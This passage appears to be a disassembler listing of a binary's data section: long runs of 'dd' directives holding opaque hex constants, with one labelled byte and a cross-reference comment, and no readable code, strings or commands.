335ACC02h, 59251B0Eh dd 0FCBCC2E7h, 84425541h, 0B5A292C0h, 0FF6A3B16h, 1020ADF8h dd 2D79ECEFh, 0D0125397h, 6A1208CDh, 7D0B6041h, 0E17404C8h dd 9761A6A0h, 58DCFB33h, 82213D82h, 0F14C055h, 815FB681h dd 1F2EBDB9h, 69B64119h, 0E64D8B1Bh, 1047F670h, 17EC5A28h dd 0C871E413h, 0BD0073D1h, 1E6F7F8Ch, 2EFAD4h, 0CBA4D002h dd 0A5A7C958h, 0B4E81F5Fh, 0E60D934Bh, 0F84B3B7Bh, 279E09C6h dd 0B85C10EDh, 42F84C9h, 89BB6641h, 0C6F46B1Fh, 2B254179h dd 1E16EE13h, 1054EBDh, 0AF0C35B5h, 2E0F3332h, 0C53784BEh dd 14D780BBh, 8B048A5Eh, 8F72FB69h, 0D126DAB8h, 3E2390FEh dd 538C4BE9h, 225E96DFh, 0B1D3E1ABh, 0C86B3399h, 1591523Ch dd 610E3C80h, 594A55h, 0AFFAB7FEh, 84685A7Bh, 1B1B1F7Bh dd 85385FF2h, 0C63D36B2h, 62EE7400h, 6C6722EAh, 9282DA01h dd 366DD224h, 0EF190B70h, 0F15C5F02h, 0BA4F0B91h, 34ABBF50h dd 0EDAC9DF5h, 3F29AED7h, 3268C23Bh, 1053EC5Ch, 682A0D1Ah dd 0FE2D7C50h, 0D86C2544h, 9F45E820h, 537D6C92h, 96742752h dd 602A2780h, 2609ACB0h, 89B2A58Dh, 0B7556A61h, 68668BB7h dd 843ECF02h, 0FD81895Dh, 1844526Dh, 0FC4FB498h, 7CED39B9h dd 210F9C97h, 41B75C0h, 0A04FD4ACh, 0BC832D34h, 46E45480h dd 845F99B8h, 0BA26559Dh, 0EDE552E3h, 18BB80AFh, 2EC8927Eh dd 28FC83D3h, 26AD2783h, 5DAC95Ch, 396BD8D3h, 426A631Ch dd 7CE3BAABh, 893B8A54h, 12B509C2h, 0E6CFD509h, 60E11FE2h dd 9B8F689h, 2AE0D31h, 9E49645Dh, 76DE6B18h, 23806725h dd 583958EEh, 90A4B702h, 52852952h, 0CC6C9555h, 59952FB0h dd 0DEFB7AACh, 1FDE7D50h, 1294C747h, 0D140454h, 9B71028h dd 60487DEFh, 0BBF51C3h, 46AE4EC2h, 60C99657h, 1DBB5967h dd 662555B5h, 0F148F3B8h, 45F46A79h, 0FF485440h, 0CA4E4C87h dd 534F1722h, 3D0FC88h, 733332BCh, 25A00CFBh, 9B055921h dd 5BDFF329h, 0EBBDAC0Eh, 0ECA95E04h, 80CDB5Ch, 26E1FF85h dd 0B82F4AEDh, 49AE1B3h, 9DF7A6Bh, 5C096CCCh, 950104A7h dd 3A6CE141h, 0FA257CA7h, 78119AC5h, 659D2B04h, 5E2F3C10h dd 0A0C9F704h, 517A79Bh, 0F779E638h, 12E9A874h, 4AB4048h dd 0AB21413Ah, 1488C39Ah, 0AAC3AC5h, 0F66DC54Ah, 5523E0DFh dd 5DAA2584h, 65A876C9h, 0C0845B0Ch, 3DE3B157h, 0D6F32FEAh dd 0B92044D0h, 0B58B091Bh, 0CD711709h, 0C51AF705h, 0D7149AABh dd 0FAB9B760h, 5AD32551h, 0B3802A51h, 0E1C5E5FDh, 8EE40F2Ch dd 0DF000FAFh, 0DEE88B2Bh dd 0F822442Dh, 0B5AD98A5h, 0FC7AF873h, 0BE90C421h, 0C27A0A8Dh dd 0A00F08ACh, 9EF698BBh, 11A6C831h, 1D2B080h, 0E3EC94h dd 2D4CC4CEh, 0AE84C9A7h, 51ACDB16h, 2DC708E0h, 0B47B0B4Bh dd 0AA979FD1h, 752DAFD6h, 56F39542h, 0FD492Eh, 5318563Fh dd 22110082h, 0A73ECFFCh, 0C7094B40h, 5F59B4D8h, 6178BE46h dd 48BFE3B7h, 9576B87Fh, 4F403874h, 127B9926h, 0A192881Ch dd 56A708C5h, 20870F25h, 0B04EBB62h, 5B7601F0h, 30BF6658h dd 38752F68h, 1612146Bh, 5045F9B5h, 5A9D854Dh, 6D4F95E4h dd 0ACD0FDE4h, 5AE9F7F0h, 85D090D5h, 7B951AB1h, 62B6A466h dd 447B3CF9h, 8EA5745h, 5F1C2666h, 0B738E465h, 0C478265Bh dd 0D4AE0067h, 0ECE8D98Ah, 8B979DD7h, 16BD7D2Dh, 0DF91E780h dd 17693A27h, 0A9C42FD4h, 1809C472h, 0BE4CBF00h, 9597666Ch dd 0CBD44B3Eh, 1A668449h, 0B8D7AF50h, 9896A3FDh, 0A851FC2Ch dd 3255CBD9h, 1DA25B17h, 7B894E69h, 9E26496Fh, 0FC81C966h dd 0AD912841h, 101A78C8h, 0F327DBDh, 6362BB96h, 0B0502048h dd 0FF2D64B4h, 565BC2F2h, 27026BC5h, 1E5D1285h, 20525ACDh dd 0EEBABC15h, 3F848800h, 0FD39173Eh, 0D622423h, 0F1102DD5h dd 0F8003FEEh, 4B3878Bh, 2C867CEh, 8179B86Eh, 0EA427A03h dd 4AF3C67Fh, 8D62EB4Dh, 0ED4651h, 2F17C4A7h, 5B3476E1h dd 55A95F51h, 0B112AAEDh, 0F7D83322h, 51F27C64h, 13BA5B03h dd 0EC164569h, 0CD1013FCh, 0DE4B761Fh, 7734D58Dh, 17A7E650h dd 0EF370DDDh, 23611621h, 0A84A753Bh, 57AF80A8h, 1CF3CC98h dd 5D50490h, 0C529ECC1h, 4EF3A9B0h, 7DC4B9E9h, 0B588B867h dd 0D91757B7h, 4C79AF23h, 21E9F98Ah, 0DB622D1Bh, 0CB774F56h dd 1D4A7DCh, 0C96EBB0Ch, 6A65DB6Dh, 31C12AC1h, 5613382Eh db 4Bh, 4, 0EDh byte_544547 db 94h ; DATA XREF: ___:off_445258o dd 0E10462E8h, 1DF1BD0Bh, 1B996C18h, 2089CDA7h, 0D0D9DB04h dd 0E80031ADh, 2CDE40F4h, 0AA57993Bh, 331D5F2h, 179DD801h dd 7B1B4EB7h, 0B8214A31h, 60F8A47Eh, 880DCD4Ah, 121A6942h dd 0C34B0596h, 9B30BB75h, 427254h, 8AC75DD3h, 1649984Ah dd 1DF6948h, 0CA5EBF52h, 0FF203B65h, 0FCBB1266h, 0AEEE12A6h dd 9202307Ah, 0C2979A10h, 29E457h, 6BA8B6B4h, 0E887DA5Bh dd 0BA1AFA03h, 0B837D3DCh, 25E28CCAh, 134C4EDFh, 2EBDFE4Ah dd 0A8F7FDD2h, 0E63F167Ch, 249BF8C6h, 0A9203396h, 607F6F97h dd 19DCC8C5h, 0FEAFB713h, 71B34312h, 0E411875Bh, 0DD53B8CDh dd 7505B589h, 0FBB61ACEh, 3A93A74Eh, 0E2ED73C2h, 0CF5B7F76h dd 989E6D80h, 707C13Dh, 0A6960EEBh, 0E9AF91D0h, 835B0001h dd 6B7EB5C2h, 12CDF8DCh, 0BC20A38Dh, 0E972808Ch, 119BDEEh dd 0E73B22F6h, 7F315B1Ch, 0C04ABFB2h, 29F86068h, 49507E97h dd 1D59455Bh, 0C5009C18h, 8161C232h, 4A8EE85Bh, 2405FFEBh dd 7BBEB886h, 4F9A02B9h, 0FA93273Eh, 11A7A829h, 2C719526h dd 6E25DE4Ah, 6046AD22h, 0B32DA003h, 0A18D8913h, 6096FF80h dd 664B00B5h, 612B97BAh, 0DD7C8A50h, 1C6032ADh, 2DA429F2h dd 0E025800Fh, 0EA6BAEF9h, 42071D23h, 0C213685Eh, 1982A7EFh dd 5DB07FCCh, 1C4BBD95h, 5D826EAEh, 75408B42h, 1AC0C030h dd 56A2E2BDh, 7E365152h, 0E696FD8Ch, 0E95011DDh, 4EBF5A0Ch dd 9300F7C9h, 81F4E7E3h, 94B6965Eh, 584DB0E1h, 0DB1D81A8h dd 5F9217B1h, 9AD7D5B9h, 9B9C8193h, 0E92EBB02h, 0AF37A9DEh dd 0CE3FD400h, 0F9CB93A8h, 0BFBDD35Ah, 82469AD7h, 0D5E298ADh dd 0E949D007h, 54C4B671h, 6A2AAE53h, 0CFFE2183h, 0D7C07B82h dd 0FF821A69h, 6FC6A4B1h, 4082649Eh, 0AA5C7078h, 46B5FF7Ah dd 2AA4943Dh, 5129318Fh, 162EF3E9h, 0E055A69Fh, 32D8406h dd 8AF9A08Fh, 0F8A2BB4Ch, 908696D7h, 159920BEh, 64B35012h dd 9B057E85h, 9BFE6ADBh, 7CFFC04Bh, 942F0CBh, 335730D9h dd 3E092664h, 0DC128CDAh, 8FC1C307h, 55086C5Fh, 37AA3017h dd 0E2B616D7h, 0E6D195DEh, 0B514DA2Fh, 658D42C0h, 0A17E2A45h dd 5E287B64h, 0A7700098h, 0F4C3ED2h, 870EAE38h, 6495337Ch dd 69ADD5B9h, 4A7439BDh, 94C305A1h, 0C09D9BABh, 281FF282h dd 0BD2B13B8h, 0B515E4A5h, 3A97D97Bh, 0E0E14DFCh, 14236FBAh dd 7F6E400h, 0F5C3506h, 78034581h, 94512E20h, 80B39901h dd 0B93A5F12h, 2B67A95Ah, 0B05D0972h, 4622A7DDh, 0D58ED1FFh dd 0BC5FFEC4h, 70B1A515h, 0C1B59B2Fh, 26ACEDCh, 9E128968h dd 0BF0C00E6h, 1E205CE8h, 8092D19Fh, 33791A93h, 990365E0h dd 684AFAB8h, 7505BA94h, 335023E5h, 6DB52529h, 0D9A24E8h dd 0D7410887h, 1314467Ch, 99ABFC6Bh, 0AF222B4Eh, 80DF6D9h dd 2A7FE9Eh, 0D770326Ah, 1B118E37h, 0BCFD8880h, 7000AFA9h dd 45BFA8F4h, 4C61CC4Bh, 0B64BD452h, 0E8D94A91h, 9FD5EA20h dd 0B5D55B89h, 871D91E2h, 731AEDCh, 57DCFECDh, 6A76134Ch dd 90C752FFh, 19B1B5B2h, 0F5BF6680h, 0C4A15CC2h, 0BDC45C36h dd 292311A1h, 0F691AFC5h, 222370E6h, 16DC8F00h, 0FBA950A6h dd 7296B209h, 5382DD1Ch, 0FE071E4h, 2625A6E6h, 38AC94Ah dd 8F2967BBh, 0E4FE92D6h, 7168B590h, 0AD3892A7h, 0E94E5C18h dd 0C192BB79h, 1A538CE0h, 25F5756h, 9521595Dh, 0B700AD25h dd 8AD18BDFh, 0C054E9DAh, 26848127h, 67080485h, 0EBDAF4FEh dd 0B2629Ch, 39AB7FE8h, 0F73102A9h, 87B83C00h, 5B7CEF16h dd 6A4745C5h, 551D79C2h, 1512A871h, 0D702B2E2h, 7AE9C939h dd 0C6E30AA1h, 0DD9E20AAh, 689D154Bh, 89A9BD2Fh, 0DE6F5FDh dd 818040B1h, 0DDFD90F3h, 40A29648h, 19082225h, 4FEE4B00h dd 27411CC2h, 548217FCh, 4EBB883Ch, 0BC59B800h, 0F76AAEE5h dd 0D6BE00AFh, 5648683Eh, 5F4B4281h, 99109F8Ah, 0B0048807h dd 4F3F60E6h, 0CFE07E61h, 612E8223h, 45584A7h, 6A3CCCBFh dd 78425BBFh, 880970F3h, 87D5C9E6h, 5779DBE4h, 1A91DB35h dd 0CCFDD880h, 38253EA6h, 0FEB01077h, 7D3BE4F5h, 0BE830113h dd 0A3A72742h, 0D9D46EB9h, 0D4A04180h, 88EB0481h, 0B87EAD05h dd 9E6E5FA8h, 7DDFA700h, 7CA2A827h, 11891C27h, 0A241FC47h dd 34072B1Dh, 0B820ADC0h, 181D016Dh, 2BEA9240h, 0D9DB7AD2h dd 0EE53A28Eh, 4A8A80C8h, 0D24FE6FDh, 9485479Ah, 52C63286h dd 0B512EC75h, 0E6A1895Ah, 0F6E2EFBh, 118D7B07h, 0F351B2FBh dd 104B12D0h, 0F6FA07D4h, 0C6EBE45Dh, 3A2F4EE0h, 5920D3C6h dd 42F1817h, 0B72E650Fh, 636BAEB1h, 0F41F1A23h, 0A60DB941h dd 2B2F949Dh, 6C05B0Bh, 5B0F67CEh, 4AD0E68Ah, 854BE2CAh dd 0CBF6AA6Fh, 7F7A3BF2h, 7837FB9Fh, 7E139903h, 0BA447C21h dd 20AF14C4h, 0ABD26213h, 8C2B0207h, 0FCE15B0Dh, 0D9602379h dd 0A40B8324h, 5731C995h, 97B3BE16h, 442FB759h, 3C1B8D09h dd 0F855D494h, 0B823A116h, 599CE370h, 4B7A7527h, 30DE8ADAh dd 0FC602554h, 1CCE1D80h, 7037A561h, 29BC7D03h, 7C509A9Eh dd 16C1403Fh, 4E4EECB1h, 5B4528EEh, 4DEC0B97h, 0EF74C440h dd 950B46E3h, 0B5D73105h, 0BA30278Ah, 260058D2h, 8DD4974Ch dd 4DD38B44h, 2F20AE52h, 2D35B4Bh, 293B04E8h, 0AA20F59Dh dd 0E10BCC73h, 6F2E2C89h, 2017239Ah, 0E3070BF9h, 6E85F9BBh dd 3717AE11h, 0CB806A43h, 5C7A1Bh, 38EC68FAh, 52504D1Ch dd 0D9F71097h, 0CC2500E4h, 0F1844AEEh, 0E5003AFBh, 8681B21Ch dd 4B6707CDh, 0AB5894BBh, 3B136B01h, 56744D03h, 0E6935A89h dd 0BD9D081Bh, 1546F428h, 1253FB2Eh, 198AB385h, 955F154Dh dd 882F7DC6h, 9B1301AEh, 6E1FC4E9h, 137DA3FAh, 0F7F187B3h dd 0F842342Bh, 2BB6D2D4h, 6A3015B2h, 0E4569D76h, 6727BB61h dd 0B5258918h, 9FB2640Dh, 5ABF5B98h, 214C0C16h, 8DD960AFh dd 409132B9h, 0A2899849h, 7852C031h, 0F353D732h, 0FB4A6DFCh dd 409BB8C5h, 0E93EB9C0h, 0FA12BF82h, 0B2C065E7h, 4A890E58h dd 1538D234h, 5799BA55h, 98F52609h, 1AAB68CFh, 1ADFCE63h dd 0A09FC8D5h, 0B6204E50h, 71CFE0DCh, 7D5213E2h, 0C804AF7Ch dd 610E1D81h, 0B763F7AFh, 85E244DEh, 0C433EFDFh, 0FAE0FE27h dd 89C70B72h, 0E12441BDh, 1B8A250h, 0DEFAE468h, 9DF0BA26h dd 8523022Eh, 0B1A486F6h, 25D47277h, 0E0EEE0C3h, 13D4F3BEh dd 0A661CC27h, 989BE380h, 0BBB6C4Ch, 5D901CE8h, 0D37AC456h dd 13CE5035h, 0F656433Fh, 0DB02D405h, 0CBEA5F5Dh, 803761D7h dd 0CE6A66EFh, 0CD6BFDBEh, 688CD9B7h, 59DFC92Dh, 54F944E9h dd 1D351098h, 2FC0D848h, 0DB5F335Eh, 0E1004F7Bh, 0F43F9A28h dd 0A20F059h, 2398544Eh, 3ACE59A2h, 0ECE98CADh, 3B09FBA0h dd 78FC21FEh, 0A9195E37h, 9739BD2Eh, 4879C09Eh, 0F2D5EEB1h dd 25EB884Eh, 9374AA68h, 9EC04B9Ah, 80972854h, 0A9C94207h dd 33349509h, 76DB23B9h, 5BBD18EEh, 0C9B584A1h, 85C85226h dd 0E82100B2h, 89D9ED04h, 0C63B393Eh, 0B5880DDh, 508BF256h dd 752D05BFh, 0ED964F5Dh, 0F22EB986h, 0C0A25842h, 3D2D32FEh dd 0E6BB0044h, 90628C4Ah, 3059227Dh, 1F6D14BFh, 3E8CA4CEh dd 986600B7h, 3841A775h, 813CF0E0h, 203B0954h, 0DD5982A3h dd 0EB5F041Eh, 2EA1638Ah, 177A2021h, 0AF19640Eh, 0E423A920h dd 55C28A51h, 37D0F4D3h, 0E5851031h, 69B05F27h, 0B1659528h dd 0FB5ADh, 0A5412A99h dd 9B05E009h, 0F9928106h, 0EF0ADCEBh, 51D1141Fh, 16B45125h dd 866BEB5Bh, 77008D57h, 0CCEFA66Fh, 66E237B8h, 1DBF2Eh dd 0EA53F307h, 6DB84214h, 4EE9DB40h, 0A03FAB12h, 0A61C2Bh dd 0A62018FDh, 0B612D40Ah, 58E62D08h, 4A3114B2h, 0A94C162Eh dd 9FEC3Ah, 36F1D905h, 0FFE7A49Ch, 574F2B97h, 9109FEE6h dd 5926F4E5h, 3D705414h, 0B78D991Dh, 0BB0DDE83h, 59D280B6h dd 2F2F72BFh, 873A3DAFh, 0E35065FBh, 0B97501A2h, 3D92C5BCh dd 0C19A7083h, 9EAC74Bh, 0A9574BEFh, 6B9AFF74h, 0A6343877h dd 0A10FA0E9h, 0CFBC043Bh, 0B04A6DFEh, 0F275FB9h, 0CF947D87h dd 741C1B5h, 1247CB2Ah, 5DE2334Dh, 8ECEDAD2h, 40E88A25h dd 0A8B53000h, 2B6B160h, 0FBB9EA63h, 90578E22h, 1E37DB0h dd 45DE4B29h, 2E5F667Ah, 95597128h, 0DF60F54Fh, 0A187461h dd 0F3CED811h, 0B75FADB3h, 8D7325C7h, 6066D4A7h, 759392ABh dd 0C1AFA005h, 0B42861F9h, 0BC255E7Dh, 0F8B6B550h, 16A4EDA0h dd 86B39E3Ah, 958D37DEh, 0DB6F976Eh, 667826C0h, 31C204CBh dd 923D995h, 0BD01D056h, 50256173h, 0F0052523h, 7F1382C5h dd 50EC77FDh, 0C271AF0Bh, 0D785F75Eh, 165692ECh, 0E46CED55h dd 0A3F26018h, 0D1E0279Fh, 0CFD599E2h, 5B236013h, 0B1171C52h dd 91B081BAh, 0AF1E4A35h, 7285C439h, 0AE2EE9F8h, 0BD0B6502h dd 0BBB4A0C5h, 4AA54F33h, 0ED2AE462h, 0AC922A42h, 50EB4E29h dd 5148E4Dh, 0F9938833h, 17E64BCDh, 0BCB760F0h, 4BC4AB02h dd 74D2DC6Bh, 0FC06342Dh, 0E69B0B38h, 0B419216h, 0F3475DC5h dd 0B8E066CAh, 2EC3E72h, 8A7085CDh, 0FB61F90Dh, 47C83B90h dd 92461E35h, 5700F960h, 0C245B959h, 41B779FEh, 1465903Eh dd 0ECA43C37h, 0C2C1A4CBh, 50A5018Fh, 2B123CFCh, 0DD4A45E7h dd 27DA2A0Fh, 83F4C09Dh, 0FF346E2Ch, 5E6ED15Ah, 8BE52F73h dd 0B29231D9h, 9E8B2DE2h, 2500CD3Fh, 1EE1C7CAh, 0D38F1356h dd 82014178h, 26026ADFh, 4273F037h, 8467008Ah, 0F6F5E6BCh dd 1125BD03h, 0BB6AE830h, 514E127Ch, 95DBFB6Dh, 3DE43180h dd 3E594135h, 8B608089h, 9D5E52C2h, 0AD3DB973h, 594539FAh dd 2EE8E911h, 0A5B224B8h, 0AA7C8B42h, 71411DDEh, 0C2CF44DCh dd 4B36EE9Ch, 1A55250Ch, 2BE76F5Ch, 0AAA3F2C9h, 7371DFD1h dd 0CDA50FA4h, 1E1DC0EDh, 0EFFEAA3Ah, 0D4A9FB0Ah, 0F509CC6Bh dd 8A14D72Bh, 17658AC4h, 315A28AEh, 4A2E855Ch, 0C82A72DDh dd 0B2005FB6h, 8218EFF2h, 4A4D7658h, 0BCAAED6Ah, 9A6F00BBh dd 6614F5CCh, 474F0CEFh, 9889D28Ch, 8F1D61C8h, 729A5B5h dd 0B7AADF3Eh, 49BD0109h, 0AB945530h, 0B8202545h, 0B01640E5h dd 0E6D888h, 0FBDB8170h, 0E469E0D0h, 0F7807109h, 447B720Dh dd 19975205h, 0AD3A5BCAh, 2E6911C2h, 0D1E781C7h, 207FBBCEh dd 41599557h, 0BD310916h, 0F1B5F09h, 19D94214h, 114A760Fh dd 0BF041BE2h, 0EA3397D3h, 0C163AFB1h, 0E778DD00h, 27168F73h dd 8CE83B5Ah, 0B0AC8AC7h, 40EF6AB6h, 0BE804300h, 0CB2C0EA1h dd 0F95126C0h, 89C8138Bh, 539405Ah, 6700D726h, 0B2C23DCBh dd 1DD0D137h, 4C8B365Dh, 7D80D380h, 0C0DFD28Bh, 0E24C44EAh dd 7CBF1D5Fh, 379825Ah, 0B5A93D9Dh, 0B5F46055h, 1084385h dd 1B2FEB81h, 482E250Bh, 0D5A017B1h, 2403E120h, 6FE745E9h dd 231313A8h, 0B77E12AEh, 5F5612B3h, 2821A9E2h, 0A4C7DF0Fh dd 7EB90BB0h, 0D798BA93h, 312C41B1h, 0F56C021Ch, 6C2560DCh dd 6413127Dh, 0C0039B16h, 4F58A120h, 81273B0Ch, 0E091EF19h dd 9F2E2899h, 0B9BCE301h, 6B2E2D7Fh, 38172383h, 9CBF548Ch dd 26411D66h, 0A7105C93h, 590BA0A3h, 29C5055Dh, 0A891CFF5h dd 25EF4E75h, 0C4AD1E0Ch, 0B81BA5ACh, 61BB5B9Dh, 720C1ADh dd 0C07C4DDBh, 8E5C5918h, 0DA8AB713h, 0EF9260ABh, 9A1BA2Dh dd 1EDB8E8h, 0C1FDB7A7h, 0D7C4BEC7h, 4D7700EFh, 0ADE6A43Dh dd 8D2F89DBh, 5F7504F1h, 0FAF47CB8h, 498D6620h, 8F0617F1h dd 29400203h, 0A9551585h, 70E45BD6h, 1F0BB27Ah, 0D723E2E8h dd 9198682h, 0DF185509h, 6DB5EAB3h, 0E0A268B4h, 0B491BAA1h dd 2E9CE013h, 8CEA8B13h, 2D998C66h, 9D204427h, 3D012065h dd 0CF5E938Dh, 7C50207Bh, 0F3BF0560h, 4C65A5B6h, 0AC44DD69h dd 2110C194h, 1CCF824Fh, 4EB79CD5h, 3397BCFh, 6EAFE7D4h dd 457424B5h, 7CF3AF27h, 476CEAD1h, 277EA780h, 0FD3A8353h dd 94A900B5h, 2ADB5CF4h, 72AF253Bh, 569C46CEh, 0BEE500D4h dd 17698F4Ch, 1604B7BAh, 19B50950h, 605B9BD1h, 4B525DE2h dd 75FFBDFCh, 0E1A56090h, 0DC0694h, 450A9198h, 2ACC21EEh dd 57E3264Ah, 3336F04Fh, 1E45BD12h, 508491E3h, 8D9EAB04h dd 18D14F81h, 9FE03AC4h, 801A4091h, 0D73CF425h, 345EAE14h dd 0D3C093DEh, 3A16280Dh, 0BB38720Ch, 0F3C576CAh, 3923C104h dd 0BE8E2B2Eh, 0C46DC134h, 981CAB9Eh, 0AD22A50h, 0A4CFF589h dd 52B51223h, 97BABC2h, 0F9C9F200h, 43BDBF66h, 0AD852E97h dd 0B63A8B01h, 0DE533CB1h, 5B27A1B2h, 0B7C2AF5Ch, 0FA61DDD8h dd 0D1B13160h, 319370D2h, 5F8564Bh, 5BDE29C0h, 0B2090E8Fh dd 5D5F494Bh, 7DE98147h, 4EA6B438h, 0E8B00205h, 0D0FF9529h dd 0C89ABB73h, 90593527h, 662F4E8h, 7F9B57A8h, 0BB0470A4h dd 51A6EF27h, 0D288E2BAh, 80BBE524h, 3281A61Bh, 0EAC0C631h dd 0E2A75953h, 0E1FD8F90h, 8173519Dh, 7314F0ADh, 0D5E6A55Ah dd 0BABB9890h, 7BD3821Eh, 57894A6Ch, 0D5A712B5h, 6A581B49h dd 59E0C6B6h, 7312EABDh, 47EC8B0Fh, 0D18509B0h, 6AE2165Ah dd 556AEFD2h, 1DC0A709h, 738253E2h, 215E2AA1h, 4CD780E0h dd 1DF20E9h, 650030B9h, 0AD4AE1BBh, 427B3877h, 0C462839Dh dd 0AA1D63DFh, 16C8EDDAh, 9EEFA8C0h, 859D122Bh, 0F2FEE608h dd 46D5321Bh, 0B62C35A8h, 0AE3C13F6h, 1823286Fh, 49CDD427h dd 46D61856h, 51D01F14h, 0FDD6CB41h, 0E6425043h, 90C5EC06h dd 2551252Dh, 46DEE65Eh, 26150218h, 0DD13D067h, 7B46C369h dd 0FBC166A0h, 2A605001h, 0AA1A6920h, 5BF0413h, 98197339h dd 60058DE7h, 810F5A61h, 0A56CD1C9h, 5851B180h, 3702165Fh dd 1BFBC055h, 2AABFF5Eh, 1F1A687Eh, 7962D5D7h, 81505F5Ch dd 0F0DF24C3h, 24BB58FEh, 767F7816h, 8B7B5EACh, 48F8D639h dd 9E80CED4h, 0DFDE48B8h, 6FBEDED7h, 0BB310C41h, 25DB9A5Dh dd 6BE64295h, 45770979h, 0BB70DE9Fh, 0AF507B9Dh, 0F40094B7h dd 0FBB422D9h, 1F88249Fh, 12CD0905h, 0D2D20B94h, 618BA6FDh dd 73C0D46Dh, 4B9C1622h, 6145CB84h, 3546D7F6h, 3182282Eh dd 4F9E7AE1h, 0C0F29D80h, 4A98E1BEh, 2704095Dh, 892159E9h dd 505C0B69h, 8D64877h, 0D1272959h, 0E3818064h, 24465EF5h dd 55509497h, 0B00B9C66h, 0C81B5935h, 7E7297D1h, 0C58B860Eh dd 6D0B72B7h, 9949E6DFh, 16C80ECh, 25EAB76Eh, 81897212h dd 16B2FFE6h, 4983F630h, 0BA130A36h, 172AAFA1h, 1DC0738Fh dd 9501B2C9h, 0D722F125h, 1C138637h, 8AAB7A65h, 50961C07h dd 9D8D8982h, 9267FC0Bh, 45DCEA35h, 0D41997F9h, 37348F8h dd 30219D12h, 0B1918AABh, 8C6BB8FCh, 0BD12236Dh, 9BEB2161h dd 57A69662h, 7A31A00h, 459D23EDh, 0AF9027B2h, 0A6B12E09h dd 0EF46C650h, 0F21C1D23h, 0AA8C8011h, 0FD2CC835h, 0B195729Dh dd 2A5680BEh, 67B69D28h, 93B18ED2h, 2351E541h, 4512DD6Ah dd 2E8BFB87h, 5A65F250h dd 0D7F9A230h, 0E43DF66Ah, 5D0E4080h, 25CA73D4h, 3B609CA9h dd 110AAC2h, 24D18D8Bh, 5B6261C1h, 4528E1B4h, 0F9FC1703h dd 7AE89702h, 0C296D9C4h, 67D650C0h, 0CCFAFF45h, 0DC06E926h dd 965B2668h, 0DE1E89F2h, 84A8AD2Ah, 0A2FA1331h, 2CFFACEBh dd 0A5F326DCh, 16916790h, 78F0011Ch, 80864A00h, 4AAE69Bh dd 0A85A3BD7h, 0A307B87Fh, 0D50B8738h, 8F805B37h, 2D71B35h dd 0B0495B9Fh, 0A0AE8A36h, 9AE8894Fh, 0D302BF89h, 0E6563667h dd 1C1B3DE2h, 0D450BCh, 33D2DADCh, 0CF81A493h, 5DBC4309h dd 446FD51Eh, 0D58968E2h, 0ACB0735Ah, 5B17D12Dh, 0DC6BAE1Eh dd 45785B09h, 9880094h, 120F51B3h, 0E25FD9B7h, 82348808h dd 0FF4DBB66h, 3C6AE256h, 55E9C616h, 9079C2E8h, 0F50448F4h dd 0FE26DA98h, 0D2F7BDACh, 0DD29CCE9h, 7BC12EB1h, 38FF020h dd 0A76E7045h, 8AE98901h, 0CE034E58h, 66FF4CC3h, 39CD826h dd 3B880087h, 0D522EDA2h, 0BE03513Ch, 0BA348171h, 56EFC0D3h dd 8DDA0335h, 26739CF4h, 0C10E01A8h, 9098E700h, 4DF652F7h dd 0A77784h, 0C558B7D7h, 0F31C7297h, 0B9E8BE67h, 63F6D600h dd 7493017Ah, 0C81740C7h, 6A00C7ECh, 0E71CF39Bh, 750F3FC0h dd 0E2333E4Eh, 0B1DDEE80h, 1A65DCA0h, 0AB000971h, 4A420B40h dd 0EE4D06C5h, 59B600D9h, 0B1E65124h, 17001FDEh, 47E00E70h dd 3F750813h, 0FB00FA90h, 26851192h, 0ED00E271h, 602E3FD2h dd 0C962AFh, 88948C7h, 0EF9DEE21h, 39F72000h, 0EBE87BCDh dd 0DB3E0052h, 0E52A65B4h, 7201DDB0h, 94ABD207h, 0DFD4FB8Ch dd 7D880047h, 0DA06F1Ch, 80008FFCh, 0A79840C1h, 339B5Eh dd 0F9A18619h, 4F6769EAh, 702C8F00h, 38A9F588h, 0E378ADh dd 0C74846DFh, 0D43B4F08h, 355C4100h, 4A27ACB4h, 69213F4Bh dd 0F98C8301h, 8026F599h, 5D16A5E8h, 49DC33h, 0D5ADE4FDh dd 222BC39h, 2EE2734Bh, 30A6C944h, 0D3B25FE7h, 1D7E52BDh dd 0C09F6CC0h, 0F640A53Ch, 62906651h, 4E2246FEh, 72A00701h dd 0E0C0F51Ah, 600D7A82h, 636E4AC0h, 0CDBFD0h, 5A028342h dd 8CE89C31h, 5439CC17h, 0D60BB200h, 3B52C40h, 0A66923DCh dd 0FAD89E71h, 30007D92h, 6E22F797h, 3DB6CA1h, 0B05D0899h dd 2EB00417h, 5018586Fh, 0B3F21E37h, 580190F0h, 7100B8ABh dd 20D6D366h, 311D5B14h, 75C0A9DEh, 5061F41Bh, 9DD2123Dh dd 3EA20076h, 92A33609h, 0E015FA00h, 2B647D01h, 0F11E1272h dd 0CF2A005Eh, 6AA5E982h, 5F42F1A4h, 3C05EA00h, 0EB02C14Eh dd 0BBCCD418h, 30BDC81Fh, 90F7A0Dh, 86006BFEh, 0F36B7F6h dd 0A2E75Eh, 337F1298h, 0C38FD7AEh, 7D1CAFA0h, 18146E88h dd 4592F5FDh, 5303E6F1h, 8FC44B42h, 0EFF798C6h, 0EB1FC098h dd 0AA4075E0h, 0A04B9612h, 0C089E160h, 9692CFh, 0C48DC24Dh dd 490E43CCh, 974C9503h, 308E536Fh, 0CF86FC50h, 0DC007516h dd 6C2F6DC7h, 73DD48F4h, 9F4C604Ah, 1FF0A059h, 0B617EA00h dd 310439D6h, 7270289Eh, 0F6BF18B5h, 1677929Ah, 0FBC4F900h dd 73467B94h, 5FD8E912h, 2CB501C9h, 3DE22B7h, 1DB241E8h dd 2FDC4067h, 0D803ABE0h, 0B7583445h, 4824F282h, 120C7830h dd 48C6BED5h, 65401349h, 2F71872h, 0AB107F38h, 90A0E4A3h dd 0EC218C97h, 7A00BC92h, 0C9C32DF9h, 0FC1F4995h, 6133F7Bh dd 35608900h, 0DE08C143h, 8241AC00h, 184DC2C9h, 0CDB20045h dd 0FF8F8A04h, 800DB10h, 0EB9F689Dh, 50F2EF24h, 76EE7AEh dd 6D265F82h, 0F1BAB020h, 3B04709Fh, 596AFD68h, 0E01F4A82h dd 0C3E387FBh, 56E9F49Eh, 0EF3FCE8h, 0B7004F79h, 8E49F207h dd 0FA13C5h, 7DDE37E3h, 7A14DD12h, 51489500h, 6D23F698h dd 19AE4A2h, 0C627FA2Fh, 0E8B346C9h, 3EC065ECh, 0AB774B31h dd 0B9A700FBh, 45791B90h, 7E054A3Dh, 2E394DF1h, 0B235780h dd 415C082h, 0C8C621C0h, 61FA4700h, 0E4ADE22Dh, 306500AAh dd 0D914CD51h, 0D005AB5h, 0AEE1B818h, 